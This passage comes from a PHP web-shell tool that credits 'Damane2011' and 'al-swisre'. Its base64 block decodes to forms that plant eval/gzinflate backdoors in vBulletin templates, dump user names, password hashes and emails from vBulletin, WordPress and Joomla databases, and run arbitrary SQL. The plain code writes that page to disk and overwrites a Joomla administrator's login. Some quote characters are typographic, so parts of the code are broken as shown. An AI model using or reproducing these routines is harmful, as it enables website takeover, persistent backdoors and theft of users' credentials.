z0iY29tIj4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPg0KIDxiciAvPg0KDQo8dHIiPg0KICAgICA8dGQ+SG9zdCA6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHIgIj4NCiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIvPjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+SW5qZWN0aW9uIFNoZWxsIGluIGNhbGVuZGFyLnBocDwvY2VudGVyPjxiciAvPiA8L3RkPg0KPC90cj4NCg0KDQo8dHI+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIgbWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhsZW5ndGg9IjMwIiAvPiA8L3RkPg0KDQo8L3RyPg0KICA8L3RhYmxlPg0KIDwvZm9ybT4gIDwvZGl2Pic7DQovLw0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiICAgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggID0gJF9QT1NUWydpbmRleCddOw0KDQppZihpc3NldCgkaG9zdCkgKSB7DQokY29uID1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSA7DQokc2VkYiA9QCBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciBkaWU7DQokY3J5cHQgID0gIntcJHtldmFsKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKFwnIjsNCiRjcnlwdCAuPSAiJHNoZWxsIjsNCiRjcnlwdCAuPSAiXCcpKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsNCiRzcWxmYXE9IlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRjcnlwdC4iJyBXSEVSRSB0aXRsZSA9J0NBTEVOREFSJyIgOw0KJHF1ZXJ5ID1AIG15c3FsX3F1ZXJ5KCRzcWxmYXEsJGNvbik7DQoNCmlmICgkcXVlcnkpDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz5+X14gPz8gPz8/Pz8/Pz8/PGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCmVsc2UgaWYgKCEkcXVlcnkpDQp7DQogIGVjaG8gImVycm9yIjsNCn0NCg0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KICBicmVhazsNCg0KLy8gPDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PCB2YiBzaGVsbCBzZWFyY2ggPj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+DQoNCiAgY2FzZSA2Og0KZWNobyAnDQoNCjxkaXYgY2xhc3M9ImNvbSI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4NCiA8YnIgLz4NCg0KPHRyIj4NCiAgICAgPHRkPkhvc3QgOjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPg0KPC90cj4NCg0KPHRyICI+DQogICAgIDx0ZD51c2VyJm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz48L3RkPg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+UGFzcyA6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3MiLz48L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5kYiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiAvPjwvdGQ+DQo8L3RyPg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+SW5qZWN0aW9uIFNoZWxsIGluIHNlYXJjaC5waHA8L2NlbnRlcj48YnIgLz4gPC90ZD4NCjwvdHI+DQoNCg0KPHRyPg0KDQogICAgICA8dGQgY29sc3Bhbj0iNiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjcwJSI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTUUwiIG1heGxlbmd0aD0iMzAiIC8+ICA8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSJjbGVhciIgbWF4bGVuZ3RoPSIzMCIgLz4gPC90ZD4NCg0KPC90cj4NCiAgPC90YWJsZT4NCiA8L2Zvcm0+ICA8L2Rpdj4nOw0KDQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgICA9ICRfUE9TVFsnZGInXTsNCiRpbmRleCAgPSAkX1BPU1RbJ2luZGV4J107DQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllIDsNCiRzZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCiRjcnlwdCAgPSAie1wke2V2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoXCciOw0KJGNyeXB0IC49ICIkc2hlbGwiOyANCiRjcnlwdCAuPSAiXCcpKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsNCiRzcWxmYXE9IlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRjcnlwdC4iJyBXSEVSRSB0aXRsZSA9J3NlYXJjaF9mb3J1bXMnIiA7DQokcXVlcnkgPUAgbXlzcWxfcXVlcnkoJHNxbGZhcSwkY29uKTsNCg0KaWYgKCRxdWVyeSkNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPn5fXiA/PyA/Pz8/Pz8/Pz88YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KZWxzZSBpZiAoISRxdWVyeSkNCnsNCiAgZWNobyAiZXJyb3IiOw0KfQ0KDQp9ZWxzZQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+ISA/Pz8/ID8/Pz8/PyA/Pz8/Pz8/IDxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQogIGJyZWFrOw0KDQoNCi8vIDw8PDw8PDw8PDw8PDw8PDw8PDw8PDwgdmIgbWVtYmVycyA+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4NCiAgY2FzZSA3Og0KDQogIGVjaG8gJw0KDQo8ZGl2IGNsYXNzPSJjb20iPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjM1JSIgY2xhc3M9InRhYiI+DQogPGJyIC8+DQoNCjx0ciI+DQogICAgIDx0ZD5Ib3N0IDo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD4NCjwvdHI+DQoNCjx0ciAiPg0KICAgICA8dGQ+dXNlciZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+PC90ZD4NCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+ZGImbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPg0KPC90cj4NCjx0YWJsZSBjbGFzcz0idGFiMiIgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI0NSUiPg0KPHRyPg0KICAgICAgPHRkPiA8YnIgLz48Y2VudGVyPnNob3cgbWVtYmVycyBJbmZvcm1hdGlvbjwvY2VudGVyPjxiciAvPiA8L3RkPg0KPC90cj4NCg0KDQo8dHI+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIgbWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhsZW5ndGg9IjMwIiAvPiA8L3RkPg0KDQo8L3RyPg0KICA8L3RhYmxlPg0KIDwvZm9ybT4gIDwvZGl2Pic7DQoNCiRob3N0ID0gJF9QT1NUWydob3N0J107DQokdXNlciA9ICRfUE9TVFsndXNlciddOw0KJHBhc3MgPSAkX1BPU1RbJ3Bhc3MnXTsNCiRkYiAgID0gJF9QT1NUWydkYiddOw0KJGluZGV4ICA9ICRfUE9TVFsnaW5kZXgnXTsNCg0KaWYoaXNzZXQoJGhvc3QpICkgew0KJGNvbiA9QCBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKSBvciBkaWUgOw0KJHNlZGIgPUAgbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllOw0KJHNxbCA9ICdzZWxlY3QgKiBmcm9tIGB1c2VyYCc7DQokcXVlcnkgPUAgbXlzcWxfcXVlcnkoJHNxbCwkY29uKTsNCg0KaWYgKCRxdWVyeSkNCnsNCg0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcXVlcnkpKQ0Kew0KDQplY2hvICINCjxiciAvPjxiciAvPjx0YWJsZSBjZWxscGFkZGluZz0nNCcgY2VsbHNwYWNpbmc9JzQnIGFsaWduPSdjZW50ZXInIGNsYXNzPSd0Ym0nPg0KPHRyPg0KICAgICAgIDx0ZD5JRCA6PC90ZD4NCiAgICAgICA8dGQ+dXNlciA6PC90ZD4NCiAgICAgICA8dGQ+cGFzcyA6PC90ZD4NCiAgICAgICA8dGQ+c2FsdCA6PC90ZD4NCiAgICAgICA8dGQ+ZW1haWwgOjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgICA8dGQ+Ii4kcm93Wyd1c2VyaWQnXS4iPC90ZD4NCiAgICAgICA8dGQ+Ii4kcm93Wyd1c2VybmFtZSddLiI8L3RkPg0KICAgICAgIDx0ZD4iLiRyb3dbJ3Bhc3N3b3JkJ10uIjwvdGQ+DQogICAgICAgIDx0ZD4iLiRyb3dbJ3NhbHQnXS4iPC90ZD4NCiAgICAgICAgPHRkPiIuJHJvd1snZW1haWwnXS4iPC90ZD4NCjwvdHI+DQoNCjwvdGFibGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0NCiAgIjsNCg0KfQ0KDQogIH0NCmVsc2UgaWYgKCEkcXVlcnkpDQp7DQogIGVjaG8gImVycm9yIjsNCn0NCg0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KDQoNCiAgYnJlYWs7DQoNCiAgY2FzZSA4Og0KDQoNCiAgZWNobyAnDQoNCjxkaXYgY2xhc3M9ImNvbSI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4NCiA8YnIgLz4NCg0KPHRyIj4NCiAgICAgPHRkPkhvc3QgOjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPg0KPC90cj4NCg0KPHRyICI+DQogICAgIDx0ZD51c2VyJm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz48L3RkPg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+UGFzcyA6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3MiLz48L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5kYiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiAvPjwvdGQ+DQo8L3RyPg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+c2hvdyBtZW1iZXJzIEluZm9ybWF0aW9uPC9jZW50ZXI+PGJyIC8+IDwvdGQ+DQo8L3RyPg0KDQoNCjx0cj4NCg0KICAgICAgPHRkIGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+DQoNCjwvdHI+DQogIDwvdGFibGU+DQogPC9mb3JtPiAgPC9kaXY+JzsNCg0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiICAgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggID0gJF9QT1NUWydpbmRleCddOw0KDQppZihpc3NldCgkaG9zdCkgKSB7DQokY29uID1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSA7DQokc2VkYiA9QCBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciBkaWU7DQokc3FsID0gJ3NlbGVjdCAqIGZyb20gYHdwX3VzZXJzYCc7DQokcXVlcnkgPUAgbXlzcWxfcXVlcnkoJHNxbCwkY29uKTsNCg0KaWYgKCRxdWVyeSkNCnsNCg0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcXVlcnkpKQ0Kew0KDQplY2hvICINCjxiciAvPjxiciAvPjx0YWJsZSBjZWxscGFkZGluZz0nNCcgY2VsbHNwYWNpbmc9JzQnIGFsaWduPSdjZW50ZXInIGNsYXNzPSd0Ym0nPg0KPHRyPg0KICAgICAgIDx0ZD5JRCA6PC90ZD4NCiAgICAgICA8dGQ+dXNlciA6PC90ZD4NCiAgICAgICA8dGQ+cGFzcyA6PC90ZD4NCiAgICAgICA8dGQ+ZW1haWwgOjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgICA8dGQ+Ii4kcm93WydJRCddLiI8L3RkPg0KICAgICAgIDx0ZD4iLiRyb3dbJ3VzZXJfbG9naW4nXS4iPC90ZD4NCiAgICAgICA8dGQ+Ii4kcm93Wyd1c2VyX3Bhc3MnXS4iPC90ZD4NCiAgICAgICAgPHRkPiIuJHJvd1sndXNlcl9lbWFpbCddLiI8L3RkPg0KPC90cj4NCg0KPC90YWJsZT4NCg0KICAiOw0KDQp9DQoNCiAgfQ0KZWxzZSBpZiAoISRxdWVyeSkNCnsNCiAgZWNobyAiZXJyb3IiOw0KfQ0KDQp9ZWxzZQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+ISA/Pz8/ID8/Pz8/PyA/Pz8/Pz8/IDxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQoNCg0KICBicmVhazsNCg0KDQogICAgY2FzZSA5Og0KDQoNCiAgZWNobyAnDQoNCjxkaXYgY2xhc3M9ImNvbSI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMzUlIiBjbGFzcz0idGFiIj4NCiA8YnIgLz4NCg0KPHRyIj4NCiAgICAgPHRkPkhvc3QgOjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPg0KPC90cj4NCg0KPHRyICI+DQogICAgIDx0ZD51c2VyJm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz48L3RkPg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+UGFzcyA6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3MiLz48L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5kYiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiAvPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZSBjbGFzcz0idGFiMiIgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI0NSUiPg0KDQoNCjx0cj4NCiAgICAgPHRkPlRhYmxlIHVzZXIgOjwvdGQ+DQogICAgIDx0ZCBjb2xzcGFuPSI2Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iam9wIiB2YWx1ZT0iam9zX3VzZXJzIiAvPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgICA8dGQ+IDxiciAvPjxjZW50ZXI+c2hvdyBtZW1iZXJzIEluZm9ybWF0aW9uPC9jZW50ZXI+PGJyIC8+IDwvdGQ+DQo8L3RyPg0KDQoNCjx0cj4NCg0KICAgICAgPHRkIGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+DQoNCjwvdHI+DQogIDwvdGFibGU+DQogPC9mb3JtPiAgPC9kaXY+JzsNCg0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiICAgPSAkX1BPU1RbJ2RiJ107DQokam9wICA9ICRfUE9TVFsnam9wJ107DQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllIDsNCiRzZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCiRzcWwgPSAnc2VsZWN0ICogZnJvbSBgYm83NHJfdXNlcnNgJzsNCiRxdWVyeSA9QCBteXNxbF9xdWVyeSgkc3FsLCRjb24pOw0KDQppZiAoJHF1ZXJ5KQ0Kew0KDQp3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRxdWVyeSkpDQp7DQoNCmVjaG8gIg0KPGJyIC8+PGJyIC8+PHRhYmxlIGNlbGxwYWRkaW5nPSc0JyBjZWxsc3BhY2luZz0nNCcgYWxpZ249J2NlbnRlcicgY2xhc3M9J3RibSc+DQo8dHI+DQogICAgICAgPHRkPklEIDo8L3RkPg0KICAgICAgIDx0ZD51c2VyIDo8L3RkPg0KICAgICAgIDx0ZD5wYXNzIDo8L3RkPg0KICAgICAgIDx0ZD5lbWFpbCA6PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICAgIDx0ZD4iLiRyb3dbJ2lkJ10uIjwvdGQ+DQogICAgICAgPHRkPiIuJHJvd1sndXNlcm5hbWUnXS4iPC90ZD4NCiAgICAgICA8dGQ+Ii4kcm93WydwYXNzd29yZCddLiI8L3RkPg0KICAgICAgICA8dGQ+Ii4kcm93WydlbWFpbCddLiI8L3RkPg0KPC90cj4NCg0KPC90YWJsZT4NCg0KICAiOw0KDQp9DQoNCiAgfQ0KZWxzZSBpZiAoISRxdWVyeSkNCnsNCiAgZWNobyAiZXJyb3IiOw0KfQ0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KICBicmVhazsNCiAgZGVmYXVsdDoNCiAgaGVhZGVyKCJMb2NhdGlvbjogJHBlYWciKTsNCiAgfQ0KICB9DQoNCmVsc2UNCnsNCmVjaG8gJw0KDQo8ZGl2IGNsYXNzPSJjb20iPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjM1JSIgY2xhc3M9InRhYiI+DQogPGJyIC8+DQoNCjx0ciI+DQogICAgIDx0ZD5Ib3N0IDo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD4NCjwvdHI+DQoNCjx0ciAiPg0KICAgICA8dGQ+dXNlciZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+PC90ZD4NCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+ZGImbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8dGFibGUgY2xhc3M9InRhYjIiIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIj4NCjx0cj4NCiAgICAgPHRkID5TUUwgQ01EIDo8L3RkPg0KICAgICA8dGQ+PHRleHRhcmVhIHJvd3M9IjMiIG5hbWU9InNxbCI+PC90ZXh0YXJlYT48L3RkPg0KPC90cj4NCg0KDQo8dHI+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIgbWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhsZW5ndGg9IjMwIiAvPiA8L3RkPg0KDQo8L3RyPg0KICA8L3RhYmxlPg0KIDwvZm9ybT4gPC9kaXY+JzsNCg0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiICAgPSAkX1BPU1RbJ2RiJ107DQokc3FsICA9ICRfUE9TVFsnc3FsJ107DQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllIDsNCiRzZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCg0KJHF1ZXJ5ID1AIG15c3FsX3F1ZXJ5KCRzcWwsJGNvbikgb3IgZGllOw0KDQppZiAoJHF1ZXJ5KQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+fl9eID8/ID8/Pz8/Pz8/PzxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQplbHNlIGlmICghJHF1ZXJ5KQ0Kew0KICBlY2hvICJlcnJvciI7DQp9DQoNCn1lbHNlDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz4hID8/Pz8gPz8/Pz8/ID8/Pz8/Pz8gPGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCn0NCj8+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9ImZvdGVyIj48YnIgLz48YnIgLz5Db2QzZCBieSA6IGFsLXN3aXNyZSBfIG95M0Bob3RtYWlsLmNvbTxiciAvPiA8YnIgLz5TYXVkaSBBcmFiaWEgaDR4MHJTPC9kaXY+DQo8YnIgLz4=‘;
$file = fopen("sql_cmd.php" ,"w+");
$write = fwrite ($file ,$symlinker);
fclose($file);
echo "<a href=damane/sql_cmd.php >Click Here</a>";
}
elseif ($action == ‚joochange‘) {
if(empty($_POST[‚pwd‘])){
echo "
<FORM method=\"POST\">
Host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"><p>
Database : <INPUT size=\"15\" value=\"database\" name=\"database\" type=\"text\"><p>
Username : <INPUT size=\"15\" value=\"db_user\" name=\"username\" type=\"text\"><p>
Password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"><p>
Set A New Username For Login : <INPUT name=\"admin\" size=\"15\" value=\"Damane\"><p>
The Password is : <font color=’#FF0000′>SQL</font> <INPUT type=\"hidden\" name=\"pwd\" size=\"15\"
value=\"23f8d1a856992bf10d677d3abd482b2e:4yeeXqIbyqPlw5IhGrZnfDjpq0pqknY7\"><p>
<INPUT value=\"change\" name=\"send\" type=\"submit\">
</FORM>";
}
else{
$localhost = $_POST[‚localhost‘];
$database = $_POST[‚database‘];
$username = $_POST[‚username‘];
$password = $_POST[‚password‘];
$pwd = $_POST[‚pwd‘];
$admin = $_POST[‚admin‘];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username =’".$admin."‘ WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =’".$pwd."‘ WHERE ID = 62") or die(mysql_error());
if($SQL){
echo "<b><font color=’#C0C0C0′>Success <br>~ Coded By
</font><font color=’#FF0000′>Damane2011</font><font color=’#C0C0C0′>";}
}
}
elseif($action == "vbchange") {
if(empty($_POST[‚index‘])){
echo "<FORM method=\"POST\">
host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\">
database : <INPUT size=\"15\" value=\"forum_vb\" name=\"database\" type=\"text\"><br>
username : <INPUT size=\"15\" value=\"forum_vb\" name=\"username\" type=\"text\">
password : <INPUT size=\"15\" value=\"vb\" name=\"password\" type=\"password\"><br>
